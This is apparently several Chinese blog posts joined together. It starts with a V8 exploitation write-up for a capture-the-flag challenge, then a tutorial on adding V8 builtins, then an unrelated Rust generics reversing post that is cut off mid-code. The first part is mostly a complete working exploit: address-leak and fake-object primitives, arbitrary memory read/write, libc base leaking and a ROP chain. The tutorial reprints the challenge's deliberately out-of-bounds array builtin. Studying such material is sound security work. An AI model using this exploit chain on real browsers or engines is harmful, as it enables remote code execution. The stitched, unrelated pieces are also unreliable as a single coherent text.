05:0028│  0x3039bc2cf100 ◂— 0x20 /* ' ' */
06:0030│  0x3039bc2cf108 ◂— 0x400000000
07:0038│  0x3039bc2cf110 ◂— 0
pwndbg> 
08:0040│  0x3039bc2cf118 ◂— 0
pwndbg> job(0x3039bc2cf121)
0x3039bc2cf121: [FixedBigUint64Array]
 - map: 0x2494f4ec2629 <Map>
 - length: 0
 - base_pointer: <nullptr>
 - external_pointer: 0x5592936e2030
pwndbg> tele 0x3039bc2cf120
00:0000│  0x3039bc2cf120 —▸ 0x2494f4ec2629 ◂— 0x2494f4ec01
01:0008│  0x3039bc2cf128 ◂— 0
02:0010│  0x3039bc2cf130 ◂— 0
03:0018│  0x3039bc2cf138 —▸ 0x5592936e2030 —▸ 0x3039bc2cf3f1 ◂— 0x34daeca02e

数组对象本身的大小为0x48个字节，保存堆地址的数组的大小为0x20个字节（且二者在内存中相邻），我们可以直接创建一个新的大小为0x68的浮点数数组，然后将这些内容复制进去：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

var fake_bigint64arr_container = [0.1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
for (let off = 0; off < 13; off++) {
    let v = read_addr(get_object_address(for_bigint_value) + BigInt(off) * 8n);
    fake_bigint64arr_container[off] = int64_to_double(v);
}

// change the elements pointer
fake_bigint64arr_container[2] = int64_to_double(get_object_address(fake_bigint64arr_container) - 0x20n + 1n);
// get the heap pointer
heap_addr = double_to_int64(fake_bigint64arr_container[12]);
fake_bigintarr = treat_address_as_object(get_object_address(fake_bigint64arr_container) - 0x68n);

function read_at(addr) {
    fake_bigint64arr_container[12] = int64_to_double(addr);
    return fake_bigintarr[0];
}

function write_at(addr, value) {
    fake_bigint64arr_container[12] = int64_to_double(addr);
    fake_bigintarr[0] = value;
}

至此，正式攻击前的所有准备工作我们都已经安排妥当，而且我们还获取到了一个有效的堆地址。

注：在高版本下开启指针压缩的情况下，v8早就考虑到了相关的安全隐患，导致我们可能无法在整个对象堆空间中找到哪怕一个堆/libc/d8代码地址。至于这种情况下的堆指针如何获取，我们以后再来探究。

C.4 Getting Memory Maps

下面，我们需要思考的是，如何获取libc地址，这对于漏洞利用至关重要。

其实都走到这一步了，想要获取也不是一件难事。如果在调试时查看一下堆空间就可以知道，堆中存在几个已经被释放的大chunk，其中必然包含指向main_arena的指针。我们可以根据读取到的值大小来判断这到底是不是libc的指针，然后向前寻找，知道找到libc开头的标志性ELF字符串，这样就可以获取到libc基地址了。但这种方法的问题在于不稳定，虽然成功率很高但是效率太低，如果是远程环境的话可能需要很长时间。

下面介绍一条稳定的链条，通过这个指针链，可以找到d8 ELF中的代码地址。根据这个地址，可以获取d8 ELF的基地址，进而通过stdin这样的label获取libc基地址。

这条链的操作流程：找到任意一个map -> 找到map中的constructor地址 -> 找到constructor中的code地址 -> 该地址下方会保存一段代码，在代码中存在movabs指令，其操作数为一个d8 ELF内地址。

需要注意的是，不同的map可能有不同的地址偏移，需要选择合适的map。

1
2
3
4
5

var typemap = double_to_int64(fake_bigint64arr_container[0]) - 1n;
var constructor = read_at(typemap + 0x20n) - 1n;
var code = read_at(constructor + 0x30n) - 1n;
var elf_code_addr = read_at(code + 0x42n);
var elf_base = elf_code_addr - 0x10274E0n;

获取了ELF基地址之后，下面需要从ELF中提取libc地址，注意到这个地方：

1
2
3
4
5

pwndbg> tele 0x56218bf4b518
00:0000│  0x56218bf4b518 (__cxa_terminate_handler) —▸ 0x7f89e51aa41a (abort) ◂— push rbp
01:0008│  0x56218bf4b520 (__cxa_unexpected_handler) —▸ 0x56218bd7c550 (std::terminate()) ◂— push rbx
02:0010│  0x56218bf4b528 (v8::base::ieee754::atan2(double, double)::tiny) ◂— 0x1a56e1fc2f8f359
03:0018│  0x56218bf4b530 (v8::base::ieee754::atan2(double, double)::pi_lo) ◂— 0x3ca1a62633145c07

这里的abort函数是libc内函数，因此可以通过这个函数得到libc的基地址：

1
2

var abort_addr = read_at(elf_base + 0x12B4518n);
var libc_base = abort_addr - 0x2641an;

C.5 ROP && ORW

下面的操作就简单了，劫持控制流一把梭。在2.31及以下版本可以通过修改__free_hook为system函数，然后在函数中创建局部变量即可。因为JS执行过程中对于生命周期结束的变量，会定期进行清除，因此创建地址在堆的局部变量，并写入字符串/bin/sh，即可完成利用。不过对于高版本来说，在没有__free_hook的情况下，可以尝试直接修改栈的返回地址。在gdb调试时通过bt命令可以查看堆栈情况，可以查询到的最初调用的函数是Builtins_JSEntry，通过修改这里为一个无效值然后继续执行的方法进行验证可知，当JS代码执行结束后，将会返回到这个函数。因此我们可以通过调试直接获取到返回地址所在的位置，结合在libc中能够找到的栈地址environ，可以计算出一个偏移量，然后直接写ROP链即可。

下面的利用代码在GNU C Library (Debian GLIBC 2.38-13) stable release version 2.38版本下测试通过：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

var open_addr = libc_base + 0xfe0d0n;
var read_addr = libc_base + 0xfea10n;
var puts_addr = libc_base + 0x77640n;
var environ = libc_base + 0x3532b0n;
var stack_addr = read_at(environ);
var rop_start = stack_addr - 0xbd0n;
console.log("ROP chain starts at: 0x" + rop_start.toString(16));
var poprdi_ret = libc_base + 0x28215n;
var poprsi_ret = libc_base + 0x29b29n;
var poprdx_ret = libc_base + 0x1085adn;

write_at(stack_addr, 0x67616c66n);       // flag\x00
write_at(rop_start, poprdi_ret);
write_at(rop_start + 8n, stack_addr);
write_at(rop_start + 0x10n, poprsi_ret);
write_at(rop_start + 0x18n, 0n);
write_at(rop_start + 0x20n, open_addr);
write_at(rop_start + 0x28n, poprdi_ret);
write_at(rop_start + 0x30n, 3n);
write_at(rop_start + 0x38n, poprsi_ret);
write_at(rop_start + 0x40n, stack_addr);
write_at(rop_start + 0x48n, poprdx_ret);
write_at(rop_start + 0x50n, 0x40n);
write_at(rop_start + 0x58n, read_addr);
write_at(rop_start + 0x60n, poprdi_ret);
write_at(rop_start + 0x68n, stack_addr);
write_at(rop_start + 0x70n, puts_addr);

console.log("Script is about to end");

经过调试发现，console.log最终会调用write函数输出，且加或不加--allow-natives-syntax选项会对栈地址偏移产生影响，因此为了方便在不添加该选项时也能进行调试，可以在最后加上一条console.log，然后将断点下在write，即可获取脚本执行结束前一刻的程序状态，以验证自己获取到的偏移量是否正确。

C.6 Final EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146

// -----------------------------------------------------------------------------------------------
// ---- int64 <-> double

var overlapping_buf = new ArrayBuffer(0x20);
var for_double_value = new Float64Array(overlapping_buf);
var for_bigint_value = new BigUint64Array(overlapping_buf);

function double_to_int64(double_value) {
    for_double_value[0] = double_value;
    return for_bigint_value[0];
}

function int64_to_double(int64_value) {
    for_bigint_value[0] = int64_value;
    return for_double_value[0];
}

// -----------------------------------------------------------------------------------------------
// ---- type confusion && get object address && treat address as object

var first_object = {"1": 2};
var second_object = [1, 2, 3];

var obj_arr = [first_object, second_object];
var float_arr = [0.1, 0.2, 0.3];

var float_typemap = float_arr.oob();
var obj_typemap = obj_arr.oob();

function get_object_address(object) {           // return BigInt
    obj_arr[0] = object;
    obj_arr.oob(float_typemap);
    let obj_addr = double_to_int64(obj_arr[0]) - 1n;
    obj_arr.oob(obj_typemap);
    return obj_addr;
}

function treat_address_as_object(addr) {        // receive BigInt
    float_arr[0] = int64_to_double(addr + 1n);
    float_arr.oob(obj_typemap);
    let fake_obj = float_arr[0];
    float_arr.oob(float_typemap);
    return fake_obj;
}

var first_object_addr = get_object_address(first_object);

// -----------------------------------------------------------------------------------------------
// ---- R/W anywhere (fake, implemented by float array)

var fake_object_container = [float_typemap, 0, 0, int64_to_double(0x10n * 0x100000000n)];
var container_addr = get_object_address(fake_object_container);
var fake_object = treat_address_as_object(container_addr + 0x30n);

function set_addr_to_rw(addr) {
    fake_object_container[2] = int64_to_double(addr - 0x10n + 1n);
}

function get_rw_addr(idx) {
    return double_to_int64(fake_object_container[2]) - 1n + 0x10n + BigInt(idx) * 8n;
}

function read_addr(addr) {
    set_addr_to_rw(addr);
    return double_to_int64(fake_object[0]);
}

function write_addr(addr, value) {
    set_addr_to_rw(addr);
    fake_object[0] = int64_to_double(value);
}

// -----------------------------------------------------------------------------------------------
// ---- R/W anywhere (real, implemented by BigUint64Array)

var fake_bigint64arr_container = [0.1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
for (let off = 0; off < 13; off++) {
    let v = read_addr(get_object_address(for_bigint_value) + BigInt(off) * 8n);
    fake_bigint64arr_container[off] = int64_to_double(v);
}

// change the elements pointer
fake_bigint64arr_container[2] = int64_to_double(get_object_address(fake_bigint64arr_container) - 0x20n + 1n);
// get the heap pointer
heap_addr = double_to_int64(fake_bigint64arr_container[12]);
fake_bigintarr = treat_address_as_object(get_object_address(fake_bigint64arr_container) - 0x68n);

function read_at(addr) {
    fake_bigint64arr_container[12] = int64_to_double(addr);
    return fake_bigintarr[0];
}

function write_at(addr, value) {
    fake_bigint64arr_container[12] = int64_to_double(addr);
    fake_bigintarr[0] = value;
}

// -----------------------------------------------------------------------------------------------
// ---- Leaking ELF addr

var typemap = double_to_int64(fake_bigint64arr_container[0]) - 1n;
var constructor = read_at(typemap + 0x20n) - 1n;
var code = read_at(constructor + 0x30n) - 1n;
var elf_code_addr = read_at(code + 0x42n);
var elf_base = elf_code_addr - 0x10274E0n;

// -----------------------------------------------------------------------------------------------
// ---- Leaking Libc addr

var abort_addr = read_at(elf_base + 0x12B4518n);
var libc_base = abort_addr - 0x2641an;
console.log("libc base: 0x" + libc_base.toString(16));
var system_addr = libc_base + 0x4dab0n;
var open_addr = libc_base + 0xfe0d0n;
var read_addr = libc_base + 0xfea10n;
var puts_addr = libc_base + 0x77640n;

// -----------------------------------------------------------------------------------------------
// ---- ROP

var environ = libc_base + 0x3532b0n;
var stack_addr = read_at(environ);
var rop_start = stack_addr - 0xbd0n;
console.log("ROP chain starts at: 0x" + rop_start.toString(16));
var poprdi_ret = libc_base + 0x28215n;
var poprsi_ret = libc_base + 0x29b29n;
var poprdx_ret = libc_base + 0x1085adn;

write_at(stack_addr, 0x67616c66n);       // flag\x00
write_at(rop_start, poprdi_ret);
write_at(rop_start + 8n, stack_addr);
write_at(rop_start + 0x10n, poprsi_ret);
write_at(rop_start + 0x18n, 0n);
write_at(rop_start + 0x20n, open_addr);
write_at(rop_start + 0x28n, poprdi_ret);
write_at(rop_start + 0x30n, 3n);
write_at(rop_start + 0x38n, poprsi_ret);
write_at(rop_start + 0x40n, stack_addr);
write_at(rop_start + 0x48n, poprdx_ret);
write_at(rop_start + 0x50n, 0x40n);
write_at(rop_start + 0x58n, read_addr);
write_at(rop_start + 0x60n, poprdi_ret);
write_at(rop_start + 0x68n, stack_addr);
write_at(rop_start + 0x70n, puts_addr);

console.log("Script is about to end");

效果：

以前没有了解v8 pwn的时候，还以为这是什么非常高深莫测，很难学的东西，但实际上了解的基本原理后才发现，这东西实际上和PHP pwn差不多，都是用底层语言去解释执行另一门语言，PHP pwn中，我们使用的是C语言，而在v8中，我们使用的是C++语言来解释Javascript。

要理解v8 pwn的原理，首先需要学会如何魔改v8。v8是Chrome开发的一个开源Javascript执行引擎，编译完成的输出二进制文件为d8。

编译方法参考：传送门

注意在解决实际问题的时候要用对应的v8版本，之后：

• 使用git reset --hard回退到对应的版本
• 使用git apply应用题目的diff文件
• 执行gclient sync -D进行同步
• 执行tools/dev/gm.py x64.debug重新编译

最后一步要注意如果在Python执行过程中出现问题，可以在root权限下修改/usr/bin中Python的链接到Python2再尝试。（一般在编译较老版本的v8时会出现此类问题）

A. Builtins

A.1 Builtins Definitions

在v8中有很多的内置类型、方法与函数，包括基本类型（整数浮点数布尔值数组字符串等）等。这些内置类型在builtins-definitions.h中进行了定义（新版本位于builtins/builtins-definitions.h），下面是示例代码片段：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

// v8 13.3.0, builtins/builtins-definitions.h, line 481
  /* ES6 #sec-array.prototype.pop */                                           \
  CPP(ArrayPop, kDontAdaptArgumentsSentinel)                                   \
  TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel)                          \
  /* ES6 #sec-array.prototype.push */                                          \
  CPP(ArrayPush, kDontAdaptArgumentsSentinel)                                  \
  TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel)                         \
  /* ES6 #sec-array.prototype.shift */                                         \
  CPP(ArrayShift, kDontAdaptArgumentsSentinel)                                 \
  /* ES6 #sec-array.prototype.unshift */                                       \
  CPP(ArrayUnshift, kDontAdaptArgumentsSentinel)                               \
  /* Support for Array.from and other array-copying idioms */                  \
  TFS(CloneFastJSArray, NeedsContext::kYes, kSource)                           \
  TFS(CloneFastJSArrayFillingHoles, NeedsContext::kYes, kSource)               \

可以看到，这里是定义了Javascript数组使用到的一些方法。但是使用的宏不同。这里的TFJ和TFS都是v8中定义的TurboFan优化宏定义，相较于直接调用底层C++代码执行的CPP定义更加高效。对于解题而言，我们只需要关注CPP即可。更多相关细节可参考：资料。CPP宏的第二个参数kDontAdaptArgumentsSentinel指的是需要在C++实现代码中通过Receiver自行完成函数参数的接收，这个我们后面会看到。

A.2 Builtins Installation

如果我们需要对v8进行魔改，想让用户能够直接调用我们自己添加的函数或者方法，就一定需要在这个文件中添加函数的定义。但光有定义还不行，还需要在v8引擎启动的时候能够安装我们的函数。这就需要我们修改bootstrapper.cc（新版本为init/bootstrapper.cc），下面是示例代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

// v8 13.3.0, init/bootstrapper.cc
    SimpleInstallFunction(isolate_, proto, "findIndex",
                          Builtin::kArrayPrototypeFindIndex, 1, kDontAdapt);
    SimpleInstallFunction(isolate_, proto, "findLast",
                          Builtin::kArrayPrototypeFindLast, 1, kDontAdapt);
    SimpleInstallFunction(isolate_, proto, "findLastIndex",
                          Builtin::kArrayPrototypeFindLastIndex, 1, kDontAdapt);
    SimpleInstallFunction(isolate_, proto, "lastIndexOf",
                          Builtin::kArrayPrototypeLastIndexOf, 1, kDontAdapt);
    SimpleInstallFunction(isolate_, proto, "pop", Builtin::kArrayPrototypePop,
                          0, kDontAdapt);
    SimpleInstallFunction(isolate_, proto, "push", Builtin::kArrayPrototypePush,
                          1, kDontAdapt);
    SimpleInstallFunction(isolate_, proto, "reverse",
                          Builtin::kArrayPrototypeReverse, 0, kDontAdapt);
    SimpleInstallFunction(isolate_, proto, "shift",
                          Builtin::kArrayPrototypeShift, 0, kDontAdapt);

使用SimpleInstallFunction函数进行安装。这个函数的参数含义是（Kimi生成）：

1
2
3
4
5
6
7
8
9
10
11
12
13

Isolate* isolate：这是指向当前V8 Isolate实例的指针。Isolate是V8中用于隔离不同JavaScript环境的一个概念，每个Isolate实例代表一个独立的JavaScript执行环境。在V8中，Isolate用于管理内存分配、垃圾回收等。

Handle<JSObject> base：这是一个指向JSObject的Handle，JSObject是V8中表示JavaScript对象的类。这个参数指定了要在其上安装函数的JavaScript对象。

const char* name：这是一个指向C字符串的指针，表示要安装的函数的名称。这个名称将被用作JavaScript对象上函数的属性名。

Builtin call：这是一个Builtin函数指针，指向一个内置的C++函数，这个函数将作为JavaScript函数的实现。Builtin函数是V8提供的一组预定义的函数，用于执行常见的操作。

int len：这是一个整数，表示函数的参数长度，即函数可以接受的参数个数。

AdaptArguments adapt：这是一个函数指针，指向一个用于参数适配的函数。如果JavaScript函数的参数个数与Builtin函数的参数个数不匹配，adapt函数会被调用来适配参数。

PropertyAttributes attrs：这是一个枚举值，指定了安装到对象上的属性（在这个情况下是函数）的属性。PropertyAttributes定义了属性的一些特性，比如是否可枚举（DontEnum）、是否可写（DontDelete）和是否可配置（ReadOnly）。

这里第二个参数的几个常用传参有：

• object_function：用于Object对象的方法
• proto：函数原型
• array_function：用于数组的函数

对于自定义函数，需要传入proto。

A.3 Builtins Function

下面我们就来看看如何定义内置函数的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

// v8 13.3.0, builtins/builtins-array.cc, line 380
BUILTIN(ArrayPush) {
  HandleScope scope(isolate);
  Handle<Object> receiver = args.receiver();
  if (!EnsureJSArrayWithWritableFastElements(isolate, receiver, &args, 1,
                                             args.length() - 1)) {
    return GenericArrayPush(isolate, &args);
  }

  Handle<JSArray> array = Cast<JSArray>(receiver);
  bool has_read_only_length = JSArray::HasReadOnlyLength(array);

  if (has_read_only_length) {
    return GenericArrayPush(isolate, &args);
  }

  // Fast Elements Path
  int to_add = args.length() - 1;
  uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));
  if (to_add == 0) return *isolate->factory()->NewNumberFromUint(len);

  // Currently fixed arrays cannot grow too big, so we should never hit this.
  DCHECK_LE(to_add, Smi::kMaxValue - Smi::ToInt(array->length()));

  ElementsAccessor* accessor = array->GetElementsAccessor();
  uint32_t new_length;
  MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, new_length, accessor->Push(array, &args, to_add));
  return *isolate->factory()->NewNumberFromUint((new_length));
}

上面就是ArrayPush的C++定义，使用BUILTIN宏完成函数体的定义。函数有参数args，表示Javascript函数的参数列表，args是BuiltinArguments类的指针。可以通过args.length()获取参数个数，args.at<>()获取第几个参数。

A.4 Builtin Installation 2

在BUILTIN宏中还会定义一个Builtins::k???，这是用来定义返回值类型的关键结构。在老版本的compiler/typer.cc，新版的compiler/turbofan.cc中有函数：

Type Typer::Visitor::JSCallTyper(Type fun, Typer* t)

其中有一个很大的switch语句，我们需要在其中定义自定义函数的返回值类型。如果没有返回值则定义为Type::Undefined()，如果定义的是方法且返回值是该方法所属的对象，则定义为Type::Receiver()：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

// v8 13.3.0, compiler/turbofan.cc, line 2019
    case Builtin::kArrayPrototypeJoin:
      return Type::String();
    case Builtin::kArrayPrototypeLastIndexOf:
      return Type::Range(-1, kMaxSafeInteger, t->zone());
    case Builtin::kArrayMap:
      return Type::Receiver();
    case Builtin::kArrayPush:
      return t->cache_->kPositiveSafeInteger;
    case Builtin::kArrayPrototypeReverse:
    case Builtin::kArrayPrototypeSlice:
      return Type::Receiver();
    case Builtin::kArraySome:
      return Type::Boolean();

除此之外，还有字符串Type::String()、布尔值Type::Boolean()、数值Type::PlainNumber()、不是数字Type::NaN()等。

A.5 Example 1

下面通过一个实例帮助我们更深刻地理解上述过程。

现在，我们需要实现一个内置函数，该函数可直接调用，接受一个数值参数，返回这个参数+100的值。

使用的v8版本为13.3.0，所有的builtins函数都在src/builtins/builtins-xxx.cc这一系列的文件中定义。我们可以新建一个文件叫builtins-myfunc.cc。

由于我们新创建了一个文件，因此需要在v8根目录的BUILD.bazel和BUILD.gn中的对应位置添加文件名：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

// v8 13.3.0, BUILD.bazel, line 1341
        "src/builtins/builtins-function.cc",
        "src/builtins/builtins-global.cc",
        "src/builtins/builtins-internal.cc",
        "src/builtins/builtins-json.cc",
        "src/builtins/builtins-myfunc.cc",
        "src/builtins/builtins-number.cc",
        "src/builtins/builtins-object.cc",
        "src/builtins/builtins-promise.h",

// v8 13.3.0, BUILD.gn, line 5420
    "src/builtins/builtins-global.cc",
    "src/builtins/builtins-internal.cc",
    "src/builtins/builtins-intl.cc",
    "src/builtins/builtins-json.cc",
    "src/builtins/builtins-myfunc.cc",
    "src/builtins/builtins-number.cc",
    "src/builtins/builtins-object.cc",
    "src/builtins/builtins-reflect.cc",

首先给出写好的代码，然后我们逐行分析：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

#include "src/builtins/builtins-utils-inl.h"

namespace v8 {
namespace internal {

BUILTIN(MyFunc) {
    HandleScope scope(isolate);
    Handle<Object> value = args.atOrUndefined(isolate, 1);

    // 判断参数是否为基本类型
    if (IsJSPrimitiveWrapper(*value)) {
        value = handle(Cast<JSPrimitiveWrapper>(value)->value(), isolate);
    }

    // 判断参数是否为数字
    if (!IsNumber(*value)) {
        THROW_NEW_ERROR_RETURN_FAILURE(
                isolate, NewTypeError(MessageTemplate::kArgumentIsNotUndefinedOrInteger,
                                      isolate->factory()->NewStringFromAsciiChecked(
                                              "My.Func"),
                                      isolate->factory()->Number_string()));
    }

    // 将Object转换为浮点数
    double const value_number = Object::NumberValue(*value);

    return *isolate->factory()->NewNumber(value_number + 100);
}

}
}

这里首先需要包含src/builtins/builtins-utils-inl.h，以使用BUILTIN宏和参数解析的相关方法。然后我们编写的函数需要包在命名空间v8和internal中。

BUILTIN后面的括号中写我们定义的函数名，第一句固定为HandleScope scope(isolate);。

后面获取参数可以使用args.at(index)或args.atOrUndefined(isolate, index)，注意第一个参数的索引值为1，这两个方法的返回值都是Handle<Object>，也就是一个Javascript Object的封装，其中重新实现了*运算符用于获取其中的对象。

IsJSPrimitiveWrapper()用于判断一个Javascript Object是否是基本类型，IsNumber()则判断是否是数值类型。内部的THROW_NEW_ERROR_RETURN_FAILURE充当assert的作用，可提供报错，这里的MessageTemplate是一个枚举类型，其中包含很多错误类型。

后面的Object::NumberValue用于将一个Object类型转换为浮点数类型，当然这个Object类型本身需要是一个数值类型，因此我们在前面需要添加检查。下面的isolate是BUILTIN宏中定义的主逻辑函数的一个参数，是当前Javascript引擎直接绑定的类型，也重新实现了*运算符。*isolate->factory()是经常使用的一个东西，这个Factory可以帮助我们创建Javascript对象，作为返回值返回。如这里的NewNumber方法即需要传入一个double类型返回一个Javascript Number类型。我们这里将浮点数加100的值传入该方法即可返回。

在init/bootstrapper.cc中则需要添加下面几行：

1
2
3

{  // -- M y F u n c
  SimpleInstallFunction(isolate_, global_object, "MyFunc", Builtin::kMyFunc, 1, kDontAdapt);
}

由于MyFunc是需要直接调用的，和eval类似，因此SimpleInstallFunction的第二个参数为global_object。如果仔细观察bootstrapper.cc中的其他安装函数调用，就会知道应该如何定义类似于Console.log这样的调用：

1
2
3
4

Handle<JSObject> math =
    factory->NewJSObject(isolate_->object_function(), AllocationType::kOld);
JSObject::AddProperty(isolate_, global, "Math", math, DONT_ENUM);
SimpleInstallFunction(isolate_, math, "abs", Builtin::kMathAbs, 1, kAdapt);

方法很简单，首先使用factory->NewJSObject定义一个新的对象，然后在global这个全局的类中定义一个属性JSObject::AddProperty，将这个对象作为属性，并给个名字。后面就可以通过SimpleInstallFunction在这个类中定义函数作为属性了。

最终效果：

当然其他地方的定义也不能忘记：

1
2
3
4
5
6
7
8

// v8 13.3.0
// builtins/builtins-definition.h, line 134
CPP(MyFunc, kDontAdaptArgumentsSentinel)                                     \

// compiler/turbofan-typer.cc, line 1847
switch (function.shared(t->broker()).builtin_id()) {
case Builtin::kMyFunc:
    return Type::Number();

A.6 Example 2

上面我们自己完成了一个全局函数的简单定义，下面来看一下2019年*CTF的oob题目中对于Array类型的定义：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

这里使用的v8版本为7.5，可以看到为Array类型定义了一个新的属性函数oob。我们重点关注一下实现细节：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

BUILTIN(ArrayOob){
    uint32_t len = args.length();
    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
    Handle<JSReceiver> receiver;
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
            isolate, receiver, Object::ToObject(isolate, args.receiver()));
    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
    uint32_t length = static_cast<uint32_t>(array->length()->Number());
    if(len == 1){
        //read
        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
    }else{
        //write
        Handle<Object> value;
        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
        elements.set(length,value->Number());
        return ReadOnlyRoots(isolate).undefined_value();
    }
}

首先判断了函数的参数个数，args.at(0)是这个方法的父类型实例，在第一个例子中是全局Object实例，在这里就应该是Array实例。因此这里len不能大于2，也就表示不能传入2个以上的参数。

下面的args.receiver()实际上就是在获取第0个参数，也就是Array实例，这里是使用Handle<JSArray>::cast完成的类型转换，不过在较新的C++中可以直接使用Cast转换。下面获取了数组的元素（array->elements）并转换为FixedDoubleArray类型。

然后通过array->length()->Number()首先获取数组长度的Javascript Number实例，再转换为uint32_t类型。下面判断，如果参数长度等于1（也就是不传参），就会出现问题，为什么呢，因为elements.get_scalar()就是获取对应下标的元素，但是获取length处的元素不就相当于溢出一个元素了吗？所以这里存在漏洞。

下面如果参数长度不为1，也会有一个溢出操作，就是element.set，将数组后面一个地方的值进行修改。从宏定义名来看，ASSIGN_RETURN_FAILURE_ON_EXCEPTION应该是可以带有检查地完成赋值操作，value应该被赋值为第一个参数，也就是传入的参数的值。这里我们简单验证一下是不是这样。

可以看到Debug输出下出现了问题，因为Debug模式输出会检查数组赋值。

如果在Release模式下运行，则是这个样子：

这里的输出会显示一个浮点数值。至于这个浮点数值具体为什么是这个数，我们将在下一篇blog中通过分析本题深入理解。

Reverse for Generics

泛型是高级编程语言中广泛使用的一种特性，能够帮助开发人员在构建代码时大大减少重复代码定义。在Rust中同样存在泛型定义。

从汇编的角度来看，泛型实际上是让编译器代替开发人员辅助完成代码构建。泛型特性本身并不会在汇编层面中被明确表现，具有不同泛型类型的类在编译后即会成为不同的类。

如在C++中，我们定义vector<int>和vector<double>时，即已经告诉编译器应该如何定义vector数组中的元素长度，前者为4而后者为8。可以说，泛型的“动态”特性经过编译器的处理后，在汇编层将会成为完全静态的状态。

那么Rust对于泛型的处理是否和其他语言一样呢？开始测试。

Generics in Functions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

fn largest<T: PartialOrd>(list: &[T]) -> &T {
    let mut largest: &T = &list[0];
    for item in list.iter() {
        if item > largest {
            largest = &item;
        }
    }
    largest
}

pub fn main() {
